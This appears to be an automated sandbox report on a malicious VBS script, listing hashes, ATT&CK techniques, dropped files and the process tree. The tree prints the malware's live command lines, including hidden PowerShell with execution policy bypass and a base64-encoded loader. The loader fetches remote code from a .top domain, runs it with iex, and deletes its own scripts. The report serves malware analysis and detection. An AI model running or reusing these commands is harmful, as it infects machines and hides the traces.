e865a8cc36db489adacecd0932e4b07d9320402532c5e15918c377bbda156c37

Analysis

max time kernel
148s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
19/11/2024, 11:22

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General

Target

e865a8cc36db489adacecd0932e4b07d9320402532c5e15918c377bbda156c37.vbs
Size

79KB
MD5

af1d73edd871bf6f26fa1561a95a0175
SHA1

235b37402a70e5c7626f6a73d33a7483c628c0ee
SHA256

e865a8cc36db489adacecd0932e4b07d9320402532c5e15918c377bbda156c37
SHA512

8c9bb59ceb94b7c10e4cd7741e5a0ce1d6206b0999a3cdd5befc364e25e38eb3497d930ab64e1f0c8b9b8103bfca195a9489cc331e165c10efddba1d17702c81
SSDEEP

768:vilsosMils8ZiBiMils4iBi5ilsMilsJiBiMilsJiBiwils2CBz/W3WFsMilsJiX:jCBz/09

Score

8^/10

execution

Malware Config

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
22	4512	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4732	powershell.exe
3332	powershell.exe
1604	powershell.exe
4512	powershell.exe
4236	powershell.exe

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
4732	powershell.exe
4732	powershell.exe
3332	powershell.exe
3332	powershell.exe
1604	powershell.exe
1604	powershell.exe
4512	powershell.exe
4512	powershell.exe
4236	powershell.exe
4236	powershell.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	4732	powershell.exe
Token: SeDebugPrivilege	3332	powershell.exe
Token: SeDebugPrivilege	1604	powershell.exe
Token: SeDebugPrivilege	4512	powershell.exe
Token: SeDebugPrivilege	4236	powershell.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 4204 wrote to memory of 4732	4204	WScript.exe	93
PID 4204 wrote to memory of 4732	4204	WScript.exe	93
PID 4732 wrote to memory of 4756	4732	powershell.exe	95
PID 4732 wrote to memory of 4756	4732	powershell.exe	95
PID 4756 wrote to memory of 3332	4756	cmd.exe	96
PID 4756 wrote to memory of 3332	4756	cmd.exe	96
PID 3332 wrote to memory of 1604	3332	powershell.exe	97
PID 3332 wrote to memory of 1604	3332	powershell.exe	97
PID 1604 wrote to memory of 4512	1604	powershell.exe	98
PID 1604 wrote to memory of 4512	1604	powershell.exe	98
PID 4512 wrote to memory of 4236	4512	powershell.exe	99
PID 4512 wrote to memory of 4236	4512	powershell.exe	99

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\e865a8cc36db489adacecd0932e4b07d9320402532c5e15918c377bbda156c37.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:4204
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -executionpolicy bypass -WindowStyle hidden -c "cmd /q /cC:\Users\Admin\AppData\Roaming\dahcJGsr.bat"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4732
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /q /cC:\Users\Admin\AppData\Roaming\dahcJGsr.bat
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4756
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -executionpolicy bypass -WindowStyle hidden -file "C:\Users\Admin\AppData\Roaming\dahcJGsr.ps1"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:3332
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy bypass -WindowStyle hidden -c "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('JEVycm9yQWN0aW9uUHJlZmVyZW5jZSA9ICJDb250aW51ZSIKCiR1WGxJMVpzTzg2WmJESU5EQ3BuWXRrUWtjTjVsMXZMOXkzTDBLMDdaeHJZakpzbCA9ICQoLWpvaW4gKCg2NS4uOTApICsgKDk3Li4xMjIpIHwgR2V0LVJhbmRvbSAtQ291bnQgNSB8ICUge1tjaGFyXSRffSkpOwokT29rN1RNMzZ5NllqID0gW2ludF0oR2V0LURhdGUgLUZvcm1hdCBISCk7CiRTVXlEVG5HNW1oQTZ2cXRFMnlGSjU0ID0gW2ludF0oR2V0LURhdGUgLUZvcm1hdCBtbSk7CiRTVXlEVG5HNW1oQTZ2cXRFMnlGSjU0QWRkID0gMzsKSWYgKCRTVXlEVG5HNW1oQTZ2cXRFMnlGSjU0ICsgJFNVeURUbkc1bWhBNnZxdEUyeUZKNTRBZGQgLWd0IDU5KSB7CiAgICAkT29rN1RNMzZ5NllqID0gJE9vazdUTTM2eTZZaiArIDE7CiAgICAkU1V5RFRuRzVtaEE2dnF0RTJ5Rko1NCA9ICRTVXlEVG5HNW1oQTZ2cXRFMnlGSjU0ICsgJFNVeURUbkc1bWhBNnZxdEUyeUZKNTRBZGQgLSA2MDsKfSBFbHNlIHsKICAgICRTVXlEVG5HNW1oQTZ2cXRFMnlGSjU0ID0gJFNVeURUbkc1bWhBNnZxdEUyeUZKNTQgKyAkU1V5RFRuRzVtaEE2dnF0RTJ5Rko1NEFkZDsKfTsKJE9vazdUTTM2eTZZaiA9IElmIChbaW50XShHZXQtRGF0ZSAtRm9ybWF0IEhIKSArIDEgLWd0IDIzKSB7IjAwIn0gRWxzZSB7JE9vazdUTTM2eTZZan07CiRVaEs3a29ibFowOW8wMmFiRnRQTTN4aERhZ2pCSGxmaHI3VzU5bm5FdXNKbTN5d3VuNEVGYnkwOXJPeWliTUxYID0gJCgtam9pbiAoKDY1Li45MCkgKyAoOTcuLjEyMikgfCBHZXQtUmFuZG9tIC1Db3VudCAxMiB8ICUge1tjaGFyXSRffSkpOwokVWh1b3liV1V6RVJvdDF2R0o5MUFkRFhmcmV0UjBmTndpcE5uRXZTM3FvVG51NkRqU0p1dzRPQ1Q3bk1iY3ZqaGtsRVpDUVhoM1hyWVhESzVyID0gQCIKJEVycm9yQWN0aW9uUHJlZmVyZW5jZSA9ICJDb250aW51ZSIKY3VybCAtdXNlYiAiaHR0cDovL3JpZ3p1dnppM2JuejMudG9wLzEucGhwP3M9bWludHMxMyIgfCBpZXg7ClJlbW92ZS1JdGVtICJDOlxVc2Vyc1xQdWJsaWNcRG9jdW1lbnRzXCQoJFVoSzdrb2JsWjA5bzAyYWJGdFBNM3hoRGFnakJIbGZocjdXNTlubkV1c0ptM3l3dW40RUZieTA5ck95aWJNTFgpLnBzMSIgLUZvcmNlIAoiQDsKCiJwb3dlcnNoZWxsIC1ub3Byb2ZpbGUgLWV4ZWN1dGlvbnBvbGljeSBieXBhc3MgLVdpbmRvd1N0eWxlIGhpZGRlbiAtYyAkKCRVaHVveWJXVXpFUm90MXZHSjkxQWREWGZyZXRSMGZOd2lwTm5FdlMzcW9UbnU2RGpTSnV3NE9DVDduTWJjdmpoa2xFWkNRWGgzWHJZWERLNXIpIiB8IE91dC1GaWxlIC1GaWxlUGF0aCAiQzpcVXNlcnNcUHVibGljXERvY3VtZW50c1wkKCRVaEs3a29ibFowOW8wMmFiRnRQTTN4aERhZ2pCSGxmaHI3VzU5bm5FdXNKbTN5d3VuNEVGYnkwOXJPeWliTUxYKS5wczEiOwpwb3dlcnNoZWxsIC1ub3Byb2ZpbGUgLWV4ZWN1dGlvbnBvbGljeSBieXBhc3MgLVdpbmRvd1N0eWxlIGhpZGRlbiAtRmlsZSBDOlxVc2Vyc1xQdWJsaWNcRG9jdW1lbnRzXCQoJFVoSzdrb2JsWjA5bzAyYWJGdFBNM3hoRGFnakJIbGZocjdXNTlubkV1c0ptM3l3dW40RUZieTA5ck95aWJNTFgpLnBzMQpSZW1vdmUtSXRlbSAiJGVudjpBUFBEQVRBXCoucHMxIiAtRm9yY2UKUmVtb3ZlLUl0ZW0gIiRlbnY6QVBQREFUQVwqLmJhdCIgLUZvcmNlCg==')) | iex"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:1604
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -executionpolicy bypass -WindowStyle hidden -File C:\Users\Public\Documents\eRsFCMmvgfwp.ps1
        6⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:4512
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -executionpolicy bypass -WindowStyle hidden -c Continue = Continue
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4236

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
8e42bec1f8f4c3705f1df36c21c85531

SHA1
c9d6aac3c1b16ed12f22185ebdc9f921cd396d14

SHA256
f3a91001711172cac5380d0409a531f64a8f85666188abb1e4fd0af070ddb9e2

SHA512
d8b5b5ad81d6d447a3e1994e3ffb8c75f91452599737bc40b5c0b11668300654b938e92f87718c3f01a70cad26b54f697eb6f70fe95c2dd2357ccd4b8bd24aa6

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
782e6de5514b8d845ea665268909b474

SHA1
24d88b65fb744147a84d371bc5a30fa26c7e89e5

SHA256
1d8b97b9c79d910b03a568ae871c7236bc1eba4cd14c9ba5b66e8bd2d3931520

SHA512
873a97d53ca527b21eaa8712274df108494c547cf31a599a71597468868403c5faba7a42a3225667deed0a2793f2a9f87dd4a0764d943a77684d144d17e9ba0f

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
5caad758326454b5788ec35315c4c304

SHA1
3aef8dba8042662a7fcf97e51047dc636b4d4724

SHA256
83e613b6dc8d70e3bb67c58535e014f58f3e8b2921e93b55137d799fc8c56391

SHA512
4e0d443cf81e2f49829b0a458a08294bf1bdc0e38d3a938fb8274eeb637d9a688b14c7999dd6b86a31fcec839a9e8c1a9611ed0bbae8bd59caa9dba1e8253693

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
50a8221b93fbd2628ac460dd408a9fc1

SHA1
7e99fe16a9b14079b6f0316c37cc473e1f83a7e6

SHA256
46e488628e5348c9c4dfcdeed5a91747eae3b3aa49ae1b94d37173b6609efa0e

SHA512
27dda53e7edcc1a12c61234e850fe73bf3923f5c3c19826b67f2faf9e0a14ba6658001a9d6a56a7036409feb9238dd452406e88e318919127b4a06c64dba86f0

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xuq0gyiu.wga.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\dahcJGsr.bat

Filesize
127B

MD5
60fe766931fd35ab7ef71a58d050d151

SHA1
093d3e8ad6589650791b076c293d83fd68a01258

SHA256
a2655f4b7688d460aeead5969d386c9b233dd967d74a4b965ae881804ed63df6

SHA512
5b6d1457f7ffa926c9a6ac1c70672611d076ca417c2879dc72d3d6b4f492d23cfc49d34d8cddebd8a2f863bedca2059ae679a9a31e418c3cab0952863fe972b4

Download Submit
C:\Users\Admin\AppData\Roaming\dahcJGsr.ps1

Filesize
2KB

MD5
674e9e7128df273743b820de0f086f39

SHA1
6ea3b3dd589f01aede4f2fc8cfea1025bb082c9c

SHA256
9679e36b28e3d3d0452f1d41855ea65d7256701555624870ce6a4ad53d904be1

SHA512
eb0a22da8ab8d981c92c98a1e7ad76f10974ccdf09c50d0f5c1f1df9e701e546b8e853754dde7a6c6f96e05255c1cc16558844946aa5d3e054ac5035ad9d20b2

Download Submit
C:\Users\Public\Documents\eRsFCMmvgfwp.ps1

Filesize
438B

MD5
ee3d16fc08f5ca85284fa3ef16d3d64b

SHA1
3cbe0e66c214b0676b263972b790a4ce8f86f51a

SHA256
5cf838a725c897738f316d2269ce5272f800ee49454c4b134d9a4281b5509ed9

SHA512
f5e15666b09a78b9805c413ddd0a7eaac880017f1f6f180f275d577c4b001f133866b6c0517adda932ed9864aba2b6344a07c03ae8450878d338776bd4891178

Download Submit
memory/3332-62-0x00007FFCEC100000-0x00007FFCECBC1000-memory.dmp

Filesize
10.8MB

Download
memory/3332-28-0x00007FFCEC100000-0x00007FFCECBC1000-memory.dmp

Filesize
10.8MB

Download
memory/3332-26-0x00007FFCEC100000-0x00007FFCECBC1000-memory.dmp

Filesize
10.8MB

Download
memory/3332-25-0x00007FFCEC100000-0x00007FFCECBC1000-memory.dmp

Filesize
10.8MB

Download
memory/3332-70-0x00007FFCEC100000-0x00007FFCECBC1000-memory.dmp

Filesize
10.8MB

Download
memory/4732-60-0x00007FFCEC103000-0x00007FFCEC105000-memory.dmp

Filesize
8KB

Download
memory/4732-61-0x00007FFCEC100000-0x00007FFCECBC1000-memory.dmp

Filesize
10.8MB

Download
memory/4732-2-0x00007FFCEC103000-0x00007FFCEC105000-memory.dmp

Filesize
8KB

Download
memory/4732-14-0x00007FFCEC100000-0x00007FFCECBC1000-memory.dmp

Filesize
10.8MB

Download
memory/4732-13-0x00007FFCEC100000-0x00007FFCECBC1000-memory.dmp

Filesize
10.8MB

Download
memory/4732-12-0x000001EAFBB40000-0x000001EAFBB62000-memory.dmp

Filesize
136KB

Download
memory/4732-73-0x00007FFCEC100000-0x00007FFCECBC1000-memory.dmp

Filesize
10.8MB

Download